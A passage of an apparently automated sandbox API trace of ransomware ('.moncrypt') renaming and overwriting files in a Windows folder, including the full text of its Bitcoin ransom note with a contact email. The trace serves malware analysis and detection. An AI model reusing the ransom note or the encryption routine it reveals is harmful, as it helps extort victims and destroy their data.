lpOverlapped=0x0) returned 1 [0050.235] CloseHandle (hObject=0x188) returned 1 [0050.236] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2f938f00, ftCreationTime.dwHighDateTime=0x1caafc8, ftLastAccessTime.dwLowDateTime=0x7090d6b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x2f938f00, ftLastWriteTime.dwHighDateTime=0x1caafc8, nFileSizeHigh=0x0, nFileSizeLow=0xdfa0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Wks9Pxy.cnv", cAlternateFileName="")) returned 1 [0050.236] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0050.236] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0050.236] GlobalLock (hMem=0x440004) returned 0x550170 [0050.236] GlobalHandle (pMem=0x550170) returned 0x440004 [0050.236] GlobalUnlock (hMem=0x440004) returned 0 [0050.236] GlobalLock (hMem=0x440004) returned 0x550170 [0050.236] GlobalLock (hMem=0x44000c) returned 0x555b78 [0050.236] GlobalHandle (pMem=0x550170) returned 0x440004 [0050.236] GlobalUnlock (hMem=0x440004) returned 0 [0050.236] GlobalHandle (pMem=0x555b78) returned 0x44000c [0050.236] GlobalUnlock (hMem=0x44000c) returned 0 [0050.236] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0050.236] CharLowerBuffW (in: lpsz="Wks9Pxy.cnv", cchLength=0xb | out: lpsz="wks9pxy.cnv") returned 0xb [0050.236] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="v", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ví\x18", lpUsedDefaultChar=0x0) returned 1 [0050.236] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ní\x18", lpUsedDefaultChar=0x0) returned 1 [0050.236] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="c", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cí\x18", lpUsedDefaultChar=0x0) returned 1 [0050.236] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".í\x18", lpUsedDefaultChar=0x0) returned 1 [0050.236] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="y", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="yí\x18", lpUsedDefaultChar=0x0) returned 1 [0050.237] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="x", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="xí\x18", lpUsedDefaultChar=0x0) returned 1 [0050.237] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="p", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pí\x18", lpUsedDefaultChar=0x0) returned 1 [0050.237] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="9", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="9í\x18", lpUsedDefaultChar=0x0) returned 1 [0050.237] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="s", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sí\x18", lpUsedDefaultChar=0x0) returned 1 [0050.237] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="k", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="kí\x18", lpUsedDefaultChar=0x0) returned 1 [0050.237] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="w", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wí\x18", lpUsedDefaultChar=0x0) returned 1 [0050.237] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e39128, cbMultiByte=34, lpWideCharStr=0x18dd64, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txtXT\x06") returned 34 [0050.237] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\Wks9Pxy.cnv", cchWideChar=67, lpMultiByteStr=0x18dd40, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\Wks9Pxy.cnv", lpUsedDefaultChar=0x0) returned 67 [0050.237] CharLowerBuffW (in: lpsz=".cnv", cchLength=0x4 | out: lpsz=".cnv") returned 0x4 [0050.237] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".cnv", cchWideChar=4, lpMultiByteStr=0x18dd64, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".cnvShared\\TextConv\\Wks9Pxy.cnv", lpUsedDefaultChar=0x0) returned 4 [0050.237] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\Wks9Pxy.cnv", lpFindFileData=0x18eb04 | out: lpFindFileData=0x18eb04*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2f938f00, ftCreationTime.dwHighDateTime=0x1caafc8, ftLastAccessTime.dwLowDateTime=0x7090d6b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x2f938f00, ftLastWriteTime.dwHighDateTime=0x1caafc8, nFileSizeHigh=0x0, nFileSizeLow=0xdfa0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Wks9Pxy.cnv", cAlternateFileName="")) returned 0x54e200 [0050.237] FileTimeToLocalFileTime (in: lpFileTime=0x18eb18, lpLocalFileTime=0x18ea30 | out: lpLocalFileTime=0x18ea30) returned 1 [0050.237] FileTimeToDosDateTime (in: lpFileTime=0x18ea30, lpFatDate=0x18eae6, lpFatTime=0x18eae4 | out: lpFatDate=0x18eae6, lpFatTime=0x18eae4) returned 1 [0050.237] FindClose (in: hFindFile=0x54e200 | out: hFindFile=0x54e200) returned 1 [0050.237] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\Wks9Pxy.cnv", dwFileAttributes=0x20) returned 1 [0050.239] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e699f0, cbMultiByte=9, lpWideCharStr=0x18da40, cchWideChar=2047 | out: lpWideCharStr=".moncrypt") returned 9 [0050.239] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\Wks9Pxy.cnv" (normalized: "c:\\program files\\common files\\microsoft shared\\textconv\\wks9pxy.cnv"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\Wks9Pxy.cnv.moncrypt" (normalized: "c:\\program files\\common files\\microsoft shared\\textconv\\wks9pxy.cnv.moncrypt")) returned 1 [0050.239] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\Wks9Pxy.cnv.moncrypt" (normalized: "c:\\program files\\common files\\microsoft shared\\textconv\\wks9pxy.cnv.moncrypt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x188 [0050.239] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ea10*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18ea10*=0) returned 0x0 [0050.240] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ea10*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18ea10*=0) returned 0xdfa0 [0050.240] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ea10*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18ea10*=0) returned 0x0 [0050.240] ReadFile (in: hFile=0x188, lpBuffer=0x1dbe1a8, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x18ea34, lpOverlapped=0x0 | out: lpBuffer=0x1dbe1a8*, lpNumberOfBytesRead=0x18ea34*=0x4000, lpOverlapped=0x0) returned 1 [0050.241] GlobalLock (hMem=0x44000c) returned 0x555b78 [0050.242] GlobalLock (hMem=0x440004) returned 0x550170 [0050.242] GlobalHandle (pMem=0x550170) returned 0x440004 [0050.242] GlobalUnlock (hMem=0x440004) returned 0 [0050.242] GlobalReAlloc (hMem=0x440004, dwBytes=0x4000, uFlags=0x2) returned 0x440004 [0050.242] GlobalLock (hMem=0x440004) returned 0x55bb88 [0050.242] GlobalHandle (pMem=0x55bb88) returned 0x440004 [0050.242] GlobalUnlock (hMem=0x440004) returned 0 [0050.242] GlobalReAlloc (hMem=0x440004, dwBytes=0x6000, uFlags=0x2) returned 0x440004 [0050.242] GlobalLock (hMem=0x440004) returned 0x55bb88 [0050.242] GlobalHandle (pMem=0x555b78) returned 0x44000c [0050.242] GlobalUnlock (hMem=0x44000c) returned 0 [0050.242] GlobalHandle (pMem=0x55bb88) returned 0x440004 [0050.242] GlobalUnlock (hMem=0x440004) returned 0 [0050.242] GlobalLock (hMem=0x440004) returned 0x550170 [0050.243] GlobalHandle (pMem=0x550170) returned 0x440004 [0050.243] GlobalUnlock (hMem=0x440004) returned 0 [0050.243] GlobalReAlloc (hMem=0x440004, dwBytes=0x6000, uFlags=0x2) returned 0x440004 [0050.243] GlobalLock (hMem=0x440004) returned 0x555b78 [0050.243] GlobalHandle (pMem=0x555b78) returned 0x440004 [0050.243] GlobalUnlock (hMem=0x440004) returned 0 [0050.243] ReadFile (in: hFile=0x188, lpBuffer=0x1e39128, nNumberOfBytesToRead=0x20, lpNumberOfBytesRead=0x18ea34, lpOverlapped=0x0 | out: lpBuffer=0x1e39128*, lpNumberOfBytesRead=0x18ea34*=0x20, lpOverlapped=0x0) returned 1 [0050.243] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ea28*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18ea28*=0) returned 0x0 [0050.243] WriteFile (in: hFile=0x188, lpBuffer=0x1dbe1a8*, nNumberOfBytesToWrite=0x4020, lpNumberOfBytesWritten=0x18ea30, lpOverlapped=0x0 | out: lpBuffer=0x1dbe1a8*, lpNumberOfBytesWritten=0x18ea30*=0x4020, lpOverlapped=0x0) returned 1 [0050.243] SetFilePointer (in: hFile=0x188, lDistanceToMove=57248, lpDistanceToMoveHigh=0x18ea28*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18ea28*=0) returned 0xdfa0 [0050.243] WriteFile (in: hFile=0x188, lpBuffer=0x1e39128*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x18ea30, lpOverlapped=0x0 | out: lpBuffer=0x1e39128*, lpNumberOfBytesWritten=0x18ea30*=0x20, lpOverlapped=0x0) returned 1 [0050.243] WriteFile (in: hFile=0x188, lpBuffer=0x18eaac*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x18ea30, lpOverlapped=0x0 | out: lpBuffer=0x18eaac*, lpNumberOfBytesWritten=0x18ea30*=0x8, lpOverlapped=0x0) returned 1 [0050.243] WriteFile (in: hFile=0x188, lpBuffer=0x1e61d38*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x18ea30, lpOverlapped=0x0 | out: lpBuffer=0x1e61d38*, lpNumberOfBytesWritten=0x18ea30*=0x1, lpOverlapped=0x0) returned 1 [0050.254] WriteFile (in: hFile=0x188, lpBuffer=0x1dbe1c8*, nNumberOfBytesToWrite=0x9c, lpNumberOfBytesWritten=0x18ea30, lpOverlapped=0x0 | out: lpBuffer=0x1dbe1c8*, lpNumberOfBytesWritten=0x18ea30*=0x9c, lpOverlapped=0x0) returned 1 [0050.255] CloseHandle (hObject=0x188) returned 1 [0050.256] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\Wks9Pxy.cnv.moncrypt" (normalized: "c:\\program files\\common files\\microsoft shared\\textconv\\wks9pxy.cnv.moncrypt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x188 [0050.256] SetFileTime (hFile=0x188, lpCreationTime=0x18ead4, lpLastAccessTime=0x18eacc, lpLastWriteTime=0x18eac4) returned 1 [0050.256] CloseHandle (hObject=0x188) returned 1 [0050.256] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\Wks9Pxy.cnv.moncrypt", dwFileAttributes=0x20) returned 1 [0050.256] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e390c8, cbMultiByte=34, lpWideCharStr=0x18dd68, cchWideChar=2047 | out: lpWideCharStr="HOW TO RECOVER ENCRYPTED FILES.TXT\x06") returned 34 [0050.256] GlobalLock (hMem=0x440004) returned 0x550170 [0050.256] GlobalHandle (pMem=0x550170) returned 0x440004 [0050.256] GlobalUnlock (hMem=0x440004) returned 0 [0050.257] GlobalLock (hMem=0x440004) returned 0x550170 [0050.257] GlobalLock (hMem=0x44000c) returned 0x555b78 [0050.257] GlobalHandle (pMem=0x550170) returned 0x440004 [0050.257] GlobalUnlock (hMem=0x440004) returned 0 [0050.257] GlobalHandle (pMem=0x555b78) returned 0x44000c [0050.257] GlobalUnlock (hMem=0x44000c) returned 0 [0050.257] CompareStringA (Locale=0x400, dwCmpFlags=0x0, lpString1="{{IDENTIFIER}}\r\n\r\nAll your files have been encrypted due to a security problem with your PC.\r\n\r\nNow you should send us email with your personal identifier.\r\nThis email will be as confirmation you are ready to pay for decryption key.\r\nYou have to pay for decryption in Bitcoins. The price depends on how fast you write to us.\r\nAfter payment we will send you the decryption tool that will decrypt all your files.\r\n\r\nContact us using this email address: moncoin@protonmail.com\r\n\r\nFree decryption as guarantee!\r\nBefore paying you can send us up to 3 files for free decryption.\r\nThe total size of files must be less than 10Mb (non archived), and files should not contain\r\nvaluable information (databases, backups, large excel sheets, etc.).\r\n\r\nIf you are waiting for a message from us for more than 12 hours, check spam folder.\r\n\r\nAttention!\r\n * Do not rename encrypted files.\r\n * Do not try to decrypt your data using third party software, it may cause permanent data loss.\r\n * Decryption of your files with the help of third parties may cause increased price \r\n (they add their fee to our) or you can become a victim of a scam.", cchCount1=14, lpString2="{{IDENTIFIER}}", cchCount2=14) returned 2 [0050.257] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\HOW TO RECOVER ENCRYPTED FILES.TXT", lpFindFileData=0x18eb1c | out: lpFindFileData=0x18eb1c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3f2eaae0, ftCreationTime.dwHighDateTime=0x1d5ddc0, ftLastAccessTime.dwLowDateTime=0x3f2eaae0, ftLastAccessTime.dwHighDateTime=0x1d5ddc0, ftLastWriteTime.dwLowDateTime=0x3f310c40, ftLastWriteTime.dwHighDateTime=0x1d5ddc0, nFileSizeHigh=0x0, nFileSizeLow=0x649, dwReserved0=0x503a80, dwReserved1=0x5664e257, cFileName="HOW TO RECOVER ENCRYPTED FILES.TXT", cAlternateFileName="HOWTOR~1.TXT")) returned 0x54e200 [0050.257] FileTimeToLocalFileTime (in: lpFileTime=0x18eb30, lpLocalFileTime=0x18eab0 | out: lpLocalFileTime=0x18eab0) returned 1 [0050.257] FileTimeToDosDateTime (in: lpFileTime=0x18eab0, lpFatDate=0x18eafe, lpFatTime=0x18eafc | out: lpFatDate=0x18eafe, lpFatTime=0x18eafc) returned 1 [0050.257] FindClose (in: hFindFile=0x54e200 | out: hFindFile=0x54e200) returned 1 [0050.257] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\HOW TO RECOVER ENCRYPTED FILES.TXT" (normalized: "c:\\program files\\common files\\microsoft shared\\textconv\\how to recover encrypted files.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x188 [0050.257] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ed04*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18ed04*=0) returned 0x0 [0050.257] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ed04*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18ed04*=0) returned 0x649 [0050.257] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ed04*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18ed04*=0) returned 0x0 [0050.257] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ed04*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18ed04*=0) returned 0x0 [0050.257] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ed04*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18ed04*=0) returned 0x649 [0050.257] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ed04*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18ed04*=0) returned 0x0 [0050.258] ReadFile (in: hFile=0x188, lpBuffer=0x1dccd48, nNumberOfBytesToRead=0x649, lpNumberOfBytesRead=0x18ed28, lpOverlapped=0x0 | out: lpBuffer=0x1dccd48*, lpNumberOfBytesRead=0x18ed28*=0x649, lpOverlapped=0x0) returned 1 [0050.258] CloseHandle (hObject=0x188) returned 1 [0050.258] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x56ce200, ftCreationTime.dwHighDateTime=0x1cbd856, ftLastAccessTime.dwLowDateTime=0xc226ea20, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x56ce200, ftLastWriteTime.dwHighDateTime=0x1cbd856, nFileSizeHigh=0x0, nFileSizeLow=0x30170, dwReserved0=0x0, dwReserved1=0x0, cFileName="WPFT532.CNV", cAlternateFileName="")) returned 1 [0050.258] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0050.258] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0050.258] GlobalLock (hMem=0x44000c) returned 0x550170 [0050.258] GlobalHandle (pMem=0x550170) returned 0x44000c [0050.258] GlobalUnlock (hMem=0x44000c) returned 0 [0050.258] GlobalLock (hMem=0x44000c) returned 0x550170 [0050.258] GlobalLock (hMem=0x440004) returned 0x555b78 [0050.258] GlobalHandle (pMem=0x550170) returned 0x44000c [0050.258] GlobalUnlock (hMem=0x44000c) returned 0 [0050.258] GlobalHandle (pMem=0x555b78) returned 0x440004 [0050.258] GlobalUnlock (hMem=0x440004) returned 0 [0050.258] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0050.258] CharLowerBuffW (in: lpsz="WPFT532.CNV", cchLength=0xb | out: lpsz="wpft532.cnv") returned 0xb [0050.258] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="v", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ví\x18", lpUsedDefaultChar=0x0) returned 1 [0050.258] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ní\x18", lpUsedDefaultChar=0x0) returned 1 [0050.258] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="c", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cí\x18", lpUsedDefaultChar=0x0) returned 1 [0050.259] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".í\x18", lpUsedDefaultChar=0x0) returned 1 [0050.259] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="2", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="2í\x18", lpUsedDefaultChar=0x0) returned 1 [0050.259] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="3", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="3í\x18", lpUsedDefaultChar=0x0) returned 1 [0050.259] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="5", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="5í\x18", lpUsedDefaultChar=0x0) returned 1 [0050.259] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tí\x18", lpUsedDefaultChar=0x0) returned 1 [0050.259] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="f", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fí\x18", lpUsedDefaultChar=0x0) returned 1 [0050.259] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="p", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pí\x18", lpUsedDefaultChar=0x0) returned 1 [0050.259] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="w", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wí\x18", lpUsedDefaultChar=0x0) returned 1 [0050.259] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e39128, cbMultiByte=34, lpWideCharStr=0x18dd64, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txtXT\x06") returned 34 [0050.259] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\WPFT532.CNV", cchWideChar=67, lpMultiByteStr=0x18dd40, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\WPFT532.CNV", lpUsedDefaultChar=0x0) returned 67 [0050.259] CharLowerBuffW (in: lpsz=".CNV", cchLength=0x4 | out: lpsz=".cnv") returned 0x4 [0050.259] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".cnv", cchWideChar=4, lpMultiByteStr=0x18dd64, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".cnvShared\\TextConv\\WPFT532.CNV", lpUsedDefaultChar=0x0) returned 4 [0050.259] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\WPFT532.CNV", lpFindFileData=0x18eb04 | out: lpFindFileData=0x18eb04*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x56ce200, ftCreationTime.dwHighDateTime=0x1cbd856, ftLastAccessTime.dwLowDateTime=0xc226ea20, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x56ce200, ftLastWriteTime.dwHighDateTime=0x1cbd856, nFileSizeHigh=0x0, nFileSizeLow=0x30170, dwReserved0=0x0, dwReserved1=0x0, cFileName="WPFT532.CNV", cAlternateFileName="")) returned 0x54e200 [0050.259] FileTimeToLocalFileTime (in: lpFileTime=0x18eb18, lpLocalFileTime=0x18ea30 | out: lpLocalFileTime=0x18ea30) returned 1 [0050.259] FileTimeToDosDateTime (in: lpFileTime=0x18ea30, lpFatDate=0x18eae6, lpFatTime=0x18eae4 | out: lpFatDate=0x18eae6, lpFatTime=0x18eae4) returned 1 [0050.259] FindClose (in: hFindFile=0x54e200 | out: hFindFile=0x54e200) returned 1 [0050.259] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\WPFT532.CNV", dwFileAttributes=0x20) returned 1 [0050.260] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e699f0, cbMultiByte=9, lpWideCharStr=0x18da40, cchWideChar=2047 | out: lpWideCharStr=".moncrypt") returned 9 [0050.260] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\WPFT532.CNV" (normalized: "c:\\program files\\common files\\microsoft shared\\textconv\\wpft532.cnv"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\WPFT532.CNV.moncrypt" (normalized: "c:\\program files\\common files\\microsoft shared\\textconv\\wpft532.cnv.moncrypt")) returned 1 [0050.261] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\WPFT532.CNV.moncrypt" (normalized: "c:\\program files\\common files\\microsoft shared\\textconv\\wpft532.cnv.moncrypt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x188 [0050.261] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ea10*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18ea10*=0) returned 0x0 [0050.261] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ea10*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18ea10*=0) returned 0x30170 [0050.261] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ea10*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18ea10*=0) returned 0x0 [0050.261] ReadFile (in: hFile=0x188, lpBuffer=0x1dbe1a8, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x18ea34, lpOverlapped=0x0 | out: lpBuffer=0x1dbe1a8*, lpNumberOfBytesRead=0x18ea34*=0x4000, lpOverlapped=0x0) returned 1 [0050.263] GlobalLock (hMem=0x440004) returned 0x555b78 [0050.263] GlobalLock (hMem=0x44000c) returned 0x550170 [0050.263] GlobalHandle (pMem=0x550170) returned 0x44000c [0050.263] GlobalUnlock (hMem=0x44000c) returned 0 [0050.263] GlobalReAlloc (hMem=0x44000c, dwBytes=0x4000, uFlags=0x2) returned 0x44000c [0050.263] GlobalLock (hMem=0x44000c) returned 0x55bb88 [0050.263] GlobalHandle 